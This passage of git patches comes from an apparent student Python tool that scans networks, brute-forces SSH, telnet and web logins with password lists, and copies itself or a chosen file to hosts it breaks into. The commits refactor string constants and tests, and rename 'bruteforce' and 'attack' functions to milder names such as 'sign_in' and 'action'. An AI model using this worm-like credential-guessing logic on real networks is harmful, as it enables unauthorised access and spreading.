str(username) + strings.COLON + str(password) + return strings.BLANK_STRING except RuntimeError: - return "" + return strings.BLANK_STRING def try_propagating(arguments, ip, port, bruteforce): @@ -729,15 +734,15 @@ def try_propagating(arguments, ip, port, bruteforce): :param port: The port we're propagating through :param bruteforce: The username and password string combo """ - if "-P" in arguments and (port == "22" or "23"): + if strings.ARGUMENT_PROPAGATE in arguments and (port == strings.SSH_PORT + or strings.TELNET_PORT): propagated = propagate_script(ip, port, bruteforce) if propagated: - logging.info("Script propagated over this port") + logging.info(strings.SCRIPT_PROPAGATED) else: - logging.debug("Script couldn't be propagated over this port") + logging.debug(strings.SCRIPT_NOT_PROPAGATED) else: - logging.info("Requirement to propagate script not specified," - " skipping...") + logging.info(strings.DO_NOT_PROPAGATE) def try_transferring_file(arguments, ip, port, bruteforce, @@ -755,15 +760,16 @@ def try_transferring_file(arguments, ip, port, bruteforce, :param bruteforce: The username and password string combo :param transfer_file_filename: The filename of the file we wish to transfer """ - if "-d" in arguments and (str(port) == "22" or "23"): + if strings.ARGUMENT_SPECIFIC_PROPAGATION_FILE in arguments and \ + (str(port) == strings.SSH_PORT or strings.TELNET_PORT): transferred = transfer_file(ip, port, bruteforce, transfer_file_filename) if transferred: - logging.info("File transferred over port 22 or 23") + logging.info(strings.TRANSFER_SUCCESS_SSH_TELNET) else: - logging.debug("File couldn't be transferred over port 22 or 23") + logging.debug(strings.TRANSFER_FAILURE_SSH_TELNET) else: - logging.info("Requirement to transfer file not specified, skipping...") + logging.info(strings.DO_NOT_TRANSFER) def validate_file_exists(filename): @@ -774,5 +780,5 @@ def validate_file_exists(filename): :param filename: The name of the file we wish to ensure exists """ if not os.path.isfile(filename): - logging.error("A specified file does not exist") + logging.error(strings.FILE_DOES_NOT_EXIST) gtfo_and_rtfm() diff --git a/src/strings.py b/src/strings.py index 7d3acbc..084dc9c 100644 --- a/src/strings.py +++ b/src/strings.py @@ -11,18 +11,26 @@ ARGUMENT_PORTS = "-p" ARGUMENT_USERNAME = "-u" ARGUMENT_PASSWORDS_FILENAME = "-f" +ARGUMENT_PROPAGATE = "-P" ARGUMENT_SCAN_LOCAL_NETWORKS = "-L" +ARGUMENT_SPECIFIC_PROPAGATION_FILE = "-d" ARGUMENT_HELP_SHORT = "-h" ARGUMENT_ = "-c" ARGUMENT_HELP_LONG = "--help" BLANK_STRING = "" +CLOSED_IP_PORT_PAIR = "This IP address and port pair is closed" COLON = ":" +DO_NOT_PROPAGATE = "Requirement to propagate script not specified, skipping..." +DO_NOT_TRANSFER = "Requirement to transfer file not specified, skipping..." ENCODE_ASCII = "ascii" EXITING = "Exiting..." FAILED_ASSIGNING_VALUES = "Failed assigning values (maybe null)" FETCHING_LOCAL_INTERFACE_LIST = "Fetching local interface list..." +FILE_DOES_NOT_EXIST = "A specified file does not exist" +FOUND_OPEN_IP_PORT_PAIR = "Found an open IP address and port pair" FULL_STOP = "." -FILENAME_PROCESSING_ERROR = "One of the filenames are invalid." +FILENAME_PROCESSING_ERROR = "One of the filenames are invalid" +IMPOSSIBLE_ACTION = "It was impossible to bruteforce this IP address and port" LOGIN_PROMPT = "login:" LOOPBACK = "lo" MAIN = "main()" @@ -49,14 +57,25 @@ RETURN_OR_NEWLINE = "\n" RSA_AND_PASSWORD = "Please type in this password below and say yes to any " \ "RSA key prompts: " +SCRIPT_PROPAGATED = "Script propagated over this port" +SCRIPT_NOT_PROPAGATED = "Script couldn't be propagated over this port" SSH = "SSH" +SSH_LOWERCASE = "ssh" SSH_PORT = "22" SUCCESSFUL = "Successful" SYN_FLAG = "S" TELNET = "telnet" +TELNET_PORT = "23" +TESTING_IP_PORT_PAIR = "Now testing an IP address and port pair..." +TRANSFER_FAILURE_SSH_TELNET = "File couldn't be transferred over port 22 or 23" +TRANSFER_SUCCESS_SSH_TELNET = "File transferred over port 22 or 23" UNSUCCESSFUL = "Unsuccessful" USERNAME_PROMPT_WEB = "username:" WEB = "web" +WEB_LOGIN = "web login" +WEB_PORT_EIGHTY = "80" +WEB_PORT_EIGHTY_EIGHTY = "8080" +WEB_PORT_EIGHTY_EIGHT_EIGHTY_EIGHT = "8888" WELCOME_TO = "Welcome to" @@ -226,3 +245,16 @@ def web_login_url(ip, port): :return "https://" + ip + ":" + port + "/login.php": The string itself """ return "https://" + ip + ":" + port + "/login.php" + + +def working_username_password(service): + """ + This function will build a string for a working username and password given + a specific service + :param service: Service for which there is a working username and password + combination + :return "A working username and password for " + str(service) + + " was found.": The string itself + """ + return "A working username and password for " + str(service) +\ + " was found." From ca80439de33a51d320678fbafdaa8cf9b96d1fc5 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Thu, 10 Mar 2022 16:53:05 +0000 Subject: [PATCH 17/78] [UPDATE] Started adding comments to strings.py --- src/strings.py | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/src/strings.py b/src/strings.py index 084dc9c..ac1c18f 100644 --- a/src/strings.py +++ b/src/strings.py @@ -7,19 +7,31 @@ every string constant has a comment describing its use. """ +# Argument to denote the filename of the IP address file. ARGUMENT_IP_ADDRESS_FILENAME = "-t" +# Argument to denote the set of ports to use. ARGUMENT_PORTS = "-p" +# Argument to denote the username for each of the actions. ARGUMENT_USERNAME = "-u" +# Argument to denote the filename of the passwords file. ARGUMENT_PASSWORDS_FILENAME = "-f" +# Argument to denote the need to propagate the running script. ARGUMENT_PROPAGATE = "-P" +# Argument to denote the need to scan the local network. ARGUMENT_SCAN_LOCAL_NETWORKS = "-L" +# Argument to denote the use of a specific file given the filename propagation. ARGUMENT_SPECIFIC_PROPAGATION_FILE = "-d" +# Argument to denote the need for further help. ARGUMENT_HELP_SHORT = "-h" -ARGUMENT_ = "-c" +# Argument to denote the need for further help, just the long version. ARGUMENT_HELP_LONG = "--help" +# Just a blank string, no point assigning multiple of these to memory. :) BLANK_STRING = "" +# A string that states that the IP and port pair is closed. CLOSED_IP_PORT_PAIR = "This IP address and port pair is closed" +# A string that just denotes the use of a colon, same "craic" as above. COLON = ":" +# A string DO_NOT_PROPAGATE = "Requirement to propagate script not specified, skipping..." DO_NOT_TRANSFER = "Requirement to transfer file not specified, skipping..." ENCODE_ASCII = "ascii" From 8aa7ff5bd9a38103d1bbc5f7529632bc663d7855 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Thu, 10 Mar 2022 17:53:26 +0000 Subject: [PATCH 18/78] [UPDATE] Finished commenting each individual single string declaration --- src/strings.py | 114 ++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 112 insertions(+), 2 deletions(-) diff --git a/src/strings.py b/src/strings.py index ac1c18f..4e905fd 100644 --- a/src/strings.py +++ b/src/strings.py @@ -9,53 +9,115 @@ # Argument to denote the filename of the IP address file. ARGUMENT_IP_ADDRESS_FILENAME = "-t" + # Argument to denote the set of ports to use. ARGUMENT_PORTS = "-p" + # Argument to denote the username for each of the actions. ARGUMENT_USERNAME = "-u" + # Argument to denote the filename of the passwords file. ARGUMENT_PASSWORDS_FILENAME = "-f" + # Argument to denote the need to propagate the running script. ARGUMENT_PROPAGATE = "-P" + # Argument to denote the need to scan the local network. ARGUMENT_SCAN_LOCAL_NETWORKS = "-L" + # Argument to denote the use of a specific file given the filename propagation. ARGUMENT_SPECIFIC_PROPAGATION_FILE = "-d" + # Argument to denote the need for further help. ARGUMENT_HELP_SHORT = "-h" + # Argument to denote the need for further help, just the long version. ARGUMENT_HELP_LONG = "--help" + # Just a blank string, no point assigning multiple of these to memory. :) BLANK_STRING = "" + # A string that states that the IP and port pair is closed. CLOSED_IP_PORT_PAIR = "This IP address and port pair is closed" -# A string that just denotes the use of a colon, same "craic" as above. + +# A string that just denotes the use of a colon, same "idea" as above. COLON = ":" -# A string + +# A string that states a script wasn't propagated. DO_NOT_PROPAGATE = "Requirement to propagate script not specified, skipping..." + +# A string that states a file wasn't transferred. DO_NOT_TRANSFER = "Requirement to transfer file not specified, skipping..." + +# A string for specifying encoding for ascii. ENCODE_ASCII = "ascii" + +# An exiting prompt. EXITING = "Exiting..." + +# Prompts the user that values couldn't be assigned FAILED_ASSIGNING_VALUES = "Failed assigning values (maybe null)" + +# Prompts the user that their fetching the local interface list. FETCHING_LOCAL_INTERFACE_LIST = "Fetching local interface list..." + +# Lets the user know a file doesn't exist. FILE_DOES_NOT_EXIST = "A specified file does not exist" + +# Lets the user know there's an open port on a specific IP address. FOUND_OPEN_IP_PORT_PAIR = "Found an open IP address and port pair" + +# Full stop string, memory saving again, reducing redundant assigns. FULL_STOP = "." + +# There's a problem with parsing a file with a given filename. FILENAME_PROCESSING_ERROR = "One of the filenames are invalid" + +# Letting the user know a propagation action had failed. IMPOSSIBLE_ACTION = "It was impossible to bruteforce this IP address and port" + +# The login prompt a user usually sees with SSH/Telnet. LOGIN_PROMPT = "login:" + +# The typical ID of the loopback interface. LOOPBACK = "lo" + +# The main function call. MAIN = "main()" + +# Just the numerical form of the number one, again, memory preservation. ONE = "1" + +# Password prompt for SSH/Telnet. PASSWORD_PROMPT = "Password:" + +# Password prompt for web logins, rather the post ID really. PASSWORD_PROMPT_WEB = "password:" + +# TODO: The way passwords are handled needs to be heavily revised +# (super insecure) +# The default password file being used by scripts. PASSWORDS_FILE = "passwords.txt" + +# Parameters were used incorrectly, so we're telling the user what to do. PARAMETER_MISUSE = "Parameter misuse, check help text below" + +# Letting the user know we're performing a local scan. PERFORMING_LOCAL_SCAN = "Performing local scan, this might take a while so " \ "grab a coffee..." + +# The ping command. PING = "ping" + +# The argument for ping which specifies the number of packets sent. PING_ARGUMENT = "-c" + +# TODO: On top of moving this prompt to UI, there should be no difference in +# the prompt, avoid confusion. +# A different password prompt following the previous one. PLEASE_TYPE_PASSWORD_AGAIN = "Please type in this password again: " + +# The help prompt for the end user. PLS_HELP = "Parameters:\n\t-t -> Filename for a file containing a list of " \ "target IP addresses\n\t-p -> Ports to scan on the target host" \ "\n\t-u -> A username\n\t-f -> Filename for a file containing " \ @@ -66,28 +128,76 @@ "\t./net_attack.py -t my_ip_list.txt -p 22,23,25,80 -u admin " \ "-f my_password_list.txt\n\n\t./net_attack.py -t ip_list.txt " \ "-p 22 -u root -f passwords.txt" + +# Newline character, mostly used to mimic an enter key press. RETURN_OR_NEWLINE = "\n" + +# RSA specific password prompt. RSA_AND_PASSWORD = "Please type in this password below and say yes to any " \ "RSA key prompts: " + +# Specifies that the script has been propagated over a port (use debug for +# specific port number). SCRIPT_PROPAGATED = "Script propagated over this port" + +# Specifies that the script hasn't been propagated over a port. SCRIPT_NOT_PROPAGATED = "Script couldn't be propagated over this port" + +# Just an SSH strings, memory saving measures again. SSH = "SSH" + +# Same as above just lowercase, needed in some instances. SSH_LOWERCASE = "ssh" + +# The default port for SSH. SSH_PORT = "22" + +# Station an action was successful. SUCCESSFUL = "Successful" + +# The syn flag for packet crafting in Scapy SYN_FLAG = "S" + +# Telnet string for service definitions and actions. TELNET = "telnet" + +# The default port for the telnet service. TELNET_PORT = "23" + +# Letting the user know an IP address and port pair is being tested. Again, +# use the debug tools in your IDE of choice to see the specific values. TESTING_IP_PORT_PAIR = "Now testing an IP address and port pair..." + +# Letting the user know a file couldn't be transferred over telnet or SSH +# default ports. TRANSFER_FAILURE_SSH_TELNET = "File couldn't be transferred over port 22 or 23" + +# Letting the user know a file could be transferred over telnet or SSH +# default ports. TRANSFER_SUCCESS_SSH_TELNET = "File transferred over port 22 or 23" + +# Unsuccessful statement to be used with services and actions. UNSUCCESSFUL = "Unsuccessful" + +# The username prompt that comes with web login POST requests. USERNAME_PROMPT_WEB = "username:" + +# Just a web string to define services and actions. WEB = "web" + +# Just a web login string to define services and actions. WEB_LOGIN = "web login" + +# Port 80 for web services. WEB_PORT_EIGHTY = "80" + +# Port 8080 for web services. WEB_PORT_EIGHTY_EIGHTY = "8080" + +# Port 8888 for web services. WEB_PORT_EIGHTY_EIGHT_EIGHTY_EIGHT = "8888" + +# Welcome to string, used for a lot of the prompts. WELCOME_TO = "Welcome to" From f2ac2b7c3789a12b3231558e50ee3551b2b98bff Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Thu, 10 Mar 2022 18:02:56 +0000 Subject: [PATCH 19/78] [FIX] Minor fixes for the requirements.txt merge and sys.exit needed --- src/main.py | 3 +-- src/net_propagation.py | 4 ++++ 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/src/main.py b/src/main.py index 9d4d8eb..bda1548 100755 --- a/src/main.py +++ b/src/main.py @@ -24,10 +24,9 @@ def main(): # These arguments are passed in by the end user. arguments = sys.argv - # If there is no arguments then just print the help menue and exit. + # If there is no arguments then just print the help menu and exit. if arguments.__len__(): net_propagation.gtfo_and_rtfm() - sys.exit(-1) # Just initialising this for use later. transfer_file_filename = "" diff --git a/src/net_propagation.py b/src/net_propagation.py index 05a298f..ed65dc8 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -3,6 +3,7 @@ # from scapy.all import * # For use when adding new functionality with scapy, be sure to statically # import when finished, wildcard is just for convenience. + from scapy.all import get_if_addr from scapy.interfaces import get_if_list from scapy.layers.inet import IP, TCP @@ -14,6 +15,7 @@ import logging import requests import strings +import sys """ - Importing modules from scapy for Packet Crafting and Sending / Sniffing. @@ -23,6 +25,7 @@ - Importing logging to safely log sensitive, error or debug info. - Importing requests for web based operations. - Importing strings for use of the external strings resources. + - Importing sys for the system exits. """ """ @@ -402,6 +405,7 @@ def gtfo_and_rtfm(): """ print(strings.PLS_HELP) print(strings.EXITING) + sys.exit(-1) def is_reachable_ip(ip): From 780d75b7d99e9cddbf02e4b253708938b2e0bae2 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Fri, 11 Mar 2022 08:55:35 +0000 Subject: [PATCH 20/78] Finished all three issues for this PR minus test, doing test now --- src/main.py | 35 ++++++++++--------- src/net_propagation.py | 70 +++++++++++++++++++------------------ src/strings.py | 5 +++ src/test_net_propagation.py | 9 ++--- 4 files changed, 65 insertions(+), 54 deletions(-) diff --git a/src/main.py b/src/main.py index bda1548..562503d 100755 --- a/src/main.py +++ b/src/main.py @@ -19,24 +19,25 @@ def main(): """ - This main function controls all the things. + This main function is what initially runs when AutoCompliance runs. """ # These arguments are passed in by the end user. arguments = sys.argv # If there is no arguments then just print the help menu and exit. if arguments.__len__(): - net_propagation.gtfo_and_rtfm() + net_propagation.exit_and_show_instructions() # Just initialising this for use later. - transfer_file_filename = "" + transfer_file_filename = strings.BLANK_STRING + # Validating and assigning values based on arguments passed in. ip_list, target_ports, target_username, passwords_filename = \ net_propagation.checking_arguments(arguments) # The end user specified a local scan must be executed, the result of the # local scan will extend the current ip_list. - if "-L" in arguments: + if strings.ARGUMENT_SCAN_LOCAL_NETWORKS in arguments: logging.info(strings.PERFORMING_LOCAL_SCAN) ip_list.extend(net_propagation.gathering_local_ips(ip_list)) @@ -48,41 +49,43 @@ def main(): password_list = \ net_propagation.convert_file_to_list(passwords_filename) except RuntimeError: - # Uh oh, file doesn't exist, alert the user and exit gracefully, so - # they can either fix their mistake or repent their sins. + # File doesn't exist, alert the user and exit gracefully, so + # they can possibly fix their mistake. net_propagation.file_error_handler() sys.exit() # If the user wants to transfer a file, this stuff should be done... - if "-d" in arguments: + if strings.ARGUMENT_SPECIFIC_PROPAGATION_FILE in arguments: try: # Again making sure the transfer file actually exits, just like # the password file above. net_propagation.validate_file_exists(transfer_file_filename) - # if it does though we assign the filename to the name out of scope + # If it does though we assign the filename to the name out of scope # above. - transfer_file_filename = arguments[arguments.index("-d") + 1] + transfer_file_filename = arguments[arguments.index( + strings.ARGUMENT_SPECIFIC_PROPAGATION_FILE) + 1] except RuntimeError: - # File doesn't exist, throw an error and give the usual slap across - # the wrist. + # File doesn't exist, throw an error and give the user a chance to + # try again. net_propagation.file_error_handler() sys.exit() # Removing duplicate entries in the IP address list, can come from - # combining local scan with given IP addresses in an ip address file among - # other things and silliness. + # combining local scan with given IP addresses in an ip address file for + # example. + # TODO: Find a way to fix the duplicates issue, instead of this workaround. ip_list = list(dict.fromkeys(ip_list)) # Removing IPs from the IP list that can't be pinged from the host machine # of the script. ip_list = net_propagation.remove_unreachable_ips(ip_list) # Getting a list of ports by splitting the target ports specified by the # user on the comma. - ports = target_ports.split(",") + ports = target_ports.split(strings.COMMA) # Cycling through every IP in the IP list... for ip in ip_list: # And then using all user specified ports against that specific IP... for port in ports: - # Try to spread :D - net_propagation.try_attack(ip, port, target_username, + # Try to spread using services and actions. + net_propagation.try_action(ip, port, target_username, password_list, transfer_file_filename, arguments) diff --git a/src/net_propagation.py b/src/net_propagation.py index ed65dc8..46ad286 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -36,7 +36,7 @@ """ -def additional_attacks(arguments, ip, port, username, +def additional_actions(arguments, ip, port, username, transfer_file_filename): """ This function passes the appropriate arguments to and runs the transferring @@ -93,18 +93,18 @@ def assigning_values(arguments): return ip_list, target_ports, target_username, passwords_filename except RuntimeError: logging.error(strings.ip_list_not_read(ip_addresses_filename)) - gtfo_and_rtfm() + exit_and_show_instructions() -def bruteforce_service(ip, port, username, password_list): +def sign_in_service(ip, port, username, password_list): """ This function will run through every password in the password list and will - attempt to bruteforce the appropriate service with that password. It will + attempt to sign in to the appropriate service with that password. It will only move on to the next password in the event that the current password - fails in its bruteforce attempt. If it succeeds then the successful login + fails in its sign in attempt. If it succeeds then the successful login details are returned, if not then Null is returned - :param ip: The IP address to attempt to breach - :param port: The port and subsequently service we're breaching + :param ip: The IP address to attempt to sign in to + :param port: The port and subsequently service we're signing in to :param username: The username we're signing in to services on :param password_list: The list of passwords to attempt :return login_details: The username and password to return @@ -153,7 +153,7 @@ def check_over_ssh(ip, port, username, password): def check_over_telnet(ip, port, username, password): """ - This function checks if the net_attack.py script is already located at the + This function checks if the current script is already located at the target machine over telnet. If it is then false is returned and if not then true is returned. This is needed as a prerequisite to propagating over telnet @@ -228,10 +228,10 @@ def checking_arguments(arguments): except RuntimeError: logging.error(strings.FAILED_ASSIGNING_VALUES) - gtfo_and_rtfm() + exit_and_show_instructions() else: logging.error(strings.PARAMETER_MISUSE) - gtfo_and_rtfm() + exit_and_show_instructions() def connect_ssh_client(ip, port, username, password): @@ -364,7 +364,7 @@ def file_error_handler(): This function handles errors related to the processing of files. """ print(strings.FILENAME_PROCESSING_ERROR) - gtfo_and_rtfm() + exit_and_show_instructions() def file_not_exist(ip, port, username, password): @@ -393,13 +393,14 @@ def gathering_local_ips(ip_list): logging.info(strings.FETCHING_LOCAL_INTERFACE_LIST) local_interfaces = get_if_list() for interface in local_interfaces: + # TODO: Maybe remove the loopback interface before running for loop? if str(interface) != strings.LOOPBACK: logging.info(strings.fetching_ips_for_interface(interface)) ip_list.extend(cycle_through_subnet(ip_list, interface)) return ip_list -def gtfo_and_rtfm(): +def exit_and_show_instructions(): """ This function will print the help screen and show an exit prompt. """ @@ -449,7 +450,7 @@ def propagate_script(ip, port, login_string): :return True: If the script is successfully propagated here :return False: If the script is not successfully propagated here """ - login_string_split = login_string.split(":") + login_string_split = login_string.split(strings.COLON) try: if file_not_exist(ip, port, login_string_split[0], login_string_split[1]): @@ -582,7 +583,8 @@ def telnet_connection(ip, port, username, password): :param port: The target port for the telnet connection :param username: The target username for the telnet connection :param password: The target password for the telnet connection - :return str(username) + ":" + str(password): The successful login string + :return str(username) + strings.COLON + str(password): The successful login + string :return None: If the telnet connection is unsuccessful """ if connect_telnet(ip, port, username, password): @@ -628,14 +630,14 @@ def transfer_file(ip, port, login_string, transfer_file_filename): return False -def try_attack(ip, port, target_username, password_list, +def try_action(ip, port, target_username, password_list, transfer_file_filename, arguments): """ - This function will attempt a bruteforce attack across various services + This function will attempt a sign in action across various services depending on the ip or port supplied (if the port is open on that IP), it - iterates through the password list when you bruteforce the appropriate - service associated with the port number supplied. If the bruteforce attack - is successful it will then check the need for additional attacks specified + iterates through the password list when you sign in to the appropriate + service associated with the port number supplied. If the sign in action + is successful it will then check the need for additional actions specified by the end user :param ip: The IP address on which we wish to try an action :param port: The port over which we wish to try an action @@ -647,19 +649,19 @@ def try_attack(ip, port, target_username, password_list, logging.info(strings.TESTING_IP_PORT_PAIR) if scan_port(ip, port): logging.info(strings.FOUND_OPEN_IP_PORT_PAIR) - bruteforce_login_details = try_bruteforce(ip, port, target_username, - password_list) - if bruteforce_login_details[0]: - additional_attacks(arguments, ip, port, - bruteforce_login_details[0], + action_login_details = try_sign_in(ip, port, target_username, + password_list) + if action_login_details[0]: + additional_actions(arguments, ip, port, + action_login_details[0], transfer_file_filename) else: logging.debug(strings.CLOSED_IP_PORT_PAIR) -def try_bruteforce(ip, port, target_username, password_list): +def try_sign_in(ip, port, target_username, password_list): """ - This function will try to bruteforce a specific service depending on the + This function will try to sign in to a specific service depending on the port supplied. If it gets a successful login then it will return the login details and the service used, otherwise it returns null as the login details along with the service used @@ -667,8 +669,8 @@ def try_bruteforce(ip, port, target_username, password_list): :param port: Target port over which to carry out an action :param target_username: Target username that's needed for the action :param password_list: Target password that's needed for the action - :return str(bruteforce), service: The username and password of a successful - action with the service used + :return str(sign_in_details), service: The username and password of a + successful action with the service used :return None, service: Empty username and password for an unsuccessful action and the service which was used. """ @@ -680,10 +682,10 @@ def try_bruteforce(ip, port, target_username, password_list): strings.WEB_PORT_EIGHTY_EIGHT_EIGHTY_EIGHT: strings.WEB_LOGIN } service = service_switch.get(str(port)) - bruteforce = bruteforce_service(ip, port, target_username, password_list) - if bruteforce: + sign_in_details = sign_in_service(ip, port, target_username, password_list) + if sign_in_details: logging.info(strings.working_username_password(service)) - return str(bruteforce), service + return str(sign_in_details), service else: logging.debug(strings.IMPOSSIBLE_ACTION) return None, service @@ -779,10 +781,10 @@ def try_transferring_file(arguments, ip, port, bruteforce, def validate_file_exists(filename): """ This function checks if a file exists given a set filename and if it - doesn't we alert the user with an error and put them in the bold corner. - Just kidding we show the help screen and exit gracefully + doesn't we alert the user with an error, show the help screen and exit + gracefully :param filename: The name of the file we wish to ensure exists """ if not os.path.isfile(filename): logging.error(strings.FILE_DOES_NOT_EXIST) - gtfo_and_rtfm() + exit_and_show_instructions() diff --git a/src/strings.py b/src/strings.py index 4e905fd..a7f6b64 100644 --- a/src/strings.py +++ b/src/strings.py @@ -43,6 +43,9 @@ # A string that just denotes the use of a colon, same "idea" as above. COLON = ":" +# A string that just denotes the use of a comma, same "idea" as above. +COMMA = "," + # A string that states a script wasn't propagated. DO_NOT_PROPAGATE = "Requirement to propagate script not specified, skipping..." @@ -118,6 +121,8 @@ PLEASE_TYPE_PASSWORD_AGAIN = "Please type in this password again: " # The help prompt for the end user. +# TODO: Update this to use the argument string values above, avoid changes in +# multiple places when needed. PLS_HELP = "Parameters:\n\t-t -> Filename for a file containing a list of " \ "target IP addresses\n\t-p -> Ports to scan on the target host" \ "\n\t-u -> A username\n\t-f -> Filename for a file containing " \ diff --git a/src/test_net_propagation.py b/src/test_net_propagation.py index 2dd05f3..79df6e7 100644 --- a/src/test_net_propagation.py +++ b/src/test_net_propagation.py @@ -20,10 +20,11 @@ """ -def test_additional_attacks(): +def test_additional_actions(): """ - This function tests the additional_attacks method in the main class. The - goal is to check every service for both good paths and bad paths. + This function tests the additional_actions method in the net_propagation + script. The goal is to check every service for both good paths and bad + paths. """ arguments = ["-t", "-d"] ip = "0.0.0.0" @@ -31,7 +32,7 @@ def test_additional_attacks(): transfer_file_filename = "test" ports = ["22", "23", "80", "8080", "8888"] for port in ports: - net_propagation.additional_attacks(arguments, ip, port, username, + net_propagation.additional_actions(arguments, ip, port, username, transfer_file_filename) From cad933caa7b5bd7065fb13b5cd15908867ee326a Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Fri, 11 Mar 2022 10:24:45 +0000 Subject: [PATCH 21/78] [UPDATE] Tests sorted for strings. Happy days. :) --- src/strings.py | 6 ++++++ src/test_net_propagation.py | 15 ++++++++++----- 2 files changed, 16 insertions(+), 5 deletions(-) diff --git a/src/strings.py b/src/strings.py index a7f6b64..37ed6b3 100644 --- a/src/strings.py +++ b/src/strings.py @@ -34,6 +34,9 @@ # Argument to denote the need for further help, just the long version. ARGUMENT_HELP_LONG = "--help" +# Blank IP addresses, mostly for test purposes. +BLANK_IP = "0.0.0.0" + # Just a blank string, no point assigning multiple of these to memory. :) BLANK_STRING = "" @@ -169,6 +172,9 @@ # The default port for the telnet service. TELNET_PORT = "23" +# A stringing just for tests. +TEST = "tests" + # Letting the user know an IP address and port pair is being tested. Again, # use the debug tools in your IDE of choice to see the specific values. TESTING_IP_PORT_PAIR = "Now testing an IP address and port pair..." diff --git a/src/test_net_propagation.py b/src/test_net_propagation.py index 79df6e7..13b1fbf 100644 --- a/src/test_net_propagation.py +++ b/src/test_net_propagation.py @@ -26,11 +26,14 @@ def test_additional_actions(): script. The goal is to check every service for both good paths and bad paths. """ - arguments = ["-t", "-d"] - ip = "0.0.0.0" - username = "test" - transfer_file_filename = "test" - ports = ["22", "23", "80", "8080", "8888"] + arguments = [strings.ARGUMENT_IP_ADDRESS_FILENAME, + strings.ARGUMENT_SPECIFIC_PROPAGATION_FILE] + ip = strings.BLANK_STRING + username = strings.TEST + transfer_file_filename = strings.TEST + ports = [strings.SSH_PORT, strings.TELNET_PORT, strings.WEB_PORT_EIGHTY, + strings.WEB_PORT_EIGHTY_EIGHTY, + strings.WEB_PORT_EIGHTY_EIGHT_EIGHTY_EIGHT] for port in ports: net_propagation.additional_actions(arguments, ip, port, username, transfer_file_filename) @@ -42,7 +45,9 @@ def test_file_error_handler(capfd): straight through no problem hence why all this function does is run that function and check what shows up in the console, errors or exceptions will fail this test for us. + :param capfd: Parameter needed to capture log output. """ + # TODO: Is this test really needed? Investigate removal. net_propagation.file_error_handler() out, err = capfd.readouterr() assert out == strings.FILENAME_PROCESSING_ERROR + "\n" \ From 964aa890ba7249d67683b00d366cc700726dda91 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Fri, 11 Mar 2022 10:42:26 +0000 Subject: [PATCH 22/78] [FIX] Hopefully fixes sys.exit faults, if not I'll revert --- src/test_net_propagation.py | 42 +++++++++++++++++++++++-------------- 1 file changed, 26 insertions(+), 16 deletions(-) diff --git a/src/test_net_propagation.py b/src/test_net_propagation.py index 13b1fbf..7e742e6 100644 --- a/src/test_net_propagation.py +++ b/src/test_net_propagation.py @@ -5,10 +5,12 @@ # what's going on. :) In fact, implement it wherever it can be... (Andrew) import net_propagation +import pytest import strings """ - Importing net_propagation for testing. + - Importing pytest for testing (especially fixing system exits if possible) - Importing strings for common string resources. """ @@ -26,17 +28,21 @@ def test_additional_actions(): script. The goal is to check every service for both good paths and bad paths. """ - arguments = [strings.ARGUMENT_IP_ADDRESS_FILENAME, - strings.ARGUMENT_SPECIFIC_PROPAGATION_FILE] - ip = strings.BLANK_STRING - username = strings.TEST - transfer_file_filename = strings.TEST - ports = [strings.SSH_PORT, strings.TELNET_PORT, strings.WEB_PORT_EIGHTY, - strings.WEB_PORT_EIGHTY_EIGHTY, - strings.WEB_PORT_EIGHTY_EIGHT_EIGHTY_EIGHT] - for port in ports: - net_propagation.additional_actions(arguments, ip, port, username, - transfer_file_filename) + with pytest.raises(SystemExit) as pytest_wrapped_e: + arguments = [strings.ARGUMENT_IP_ADDRESS_FILENAME, + strings.ARGUMENT_SPECIFIC_PROPAGATION_FILE] + ip = strings.BLANK_STRING + username = strings.TEST + transfer_file_filename = strings.TEST + ports = [strings.SSH_PORT, strings.TELNET_PORT, + strings.WEB_PORT_EIGHTY, + strings.WEB_PORT_EIGHTY_EIGHTY, + strings.WEB_PORT_EIGHTY_EIGHT_EIGHTY_EIGHT] + for port in ports: + net_propagation.additional_actions(arguments, ip, port, username, + transfer_file_filename) + assert pytest_wrapped_e.type == SystemExit + assert pytest_wrapped_e.value.code == 42 def test_file_error_handler(capfd): @@ -47,8 +53,12 @@ def test_file_error_handler(capfd): fail this test for us. :param capfd: Parameter needed to capture log output. """ - # TODO: Is this test really needed? Investigate removal. - net_propagation.file_error_handler() - out, err = capfd.readouterr() - assert out == strings.FILENAME_PROCESSING_ERROR + "\n" \ - + strings.PLS_HELP + "\n" + strings.EXITING + "\n" + with pytest.raises(SystemExit) as pytest_wrapped_e: + # TODO: Is this test really needed? Investigate removal. + net_propagation.file_error_handler() + out, err = capfd.readouterr() + assert out == strings.FILENAME_PROCESSING_ERROR + "\n" \ + + strings.PLS_HELP + "\n" + strings.EXITING + "\n" + + assert pytest_wrapped_e.type == SystemExit + assert pytest_wrapped_e.value.code == 42 From cc940ad8aa714e9367d70475e3e64f98da1686d2 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Fri, 11 Mar 2022 10:47:01 +0000 Subject: [PATCH 23/78] [FIX] Another stab at it, might be the error code this time --- src/test_net_propagation.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/test_net_propagation.py b/src/test_net_propagation.py index 7e742e6..36bb1db 100644 --- a/src/test_net_propagation.py +++ b/src/test_net_propagation.py @@ -42,7 +42,7 @@ def test_additional_actions(): net_propagation.additional_actions(arguments, ip, port, username, transfer_file_filename) assert pytest_wrapped_e.type == SystemExit - assert pytest_wrapped_e.value.code == 42 + assert pytest_wrapped_e.value.code == -1 def test_file_error_handler(capfd): @@ -61,4 +61,4 @@ def test_file_error_handler(capfd): + strings.PLS_HELP + "\n" + strings.EXITING + "\n" assert pytest_wrapped_e.type == SystemExit - assert pytest_wrapped_e.value.code == 42 + assert 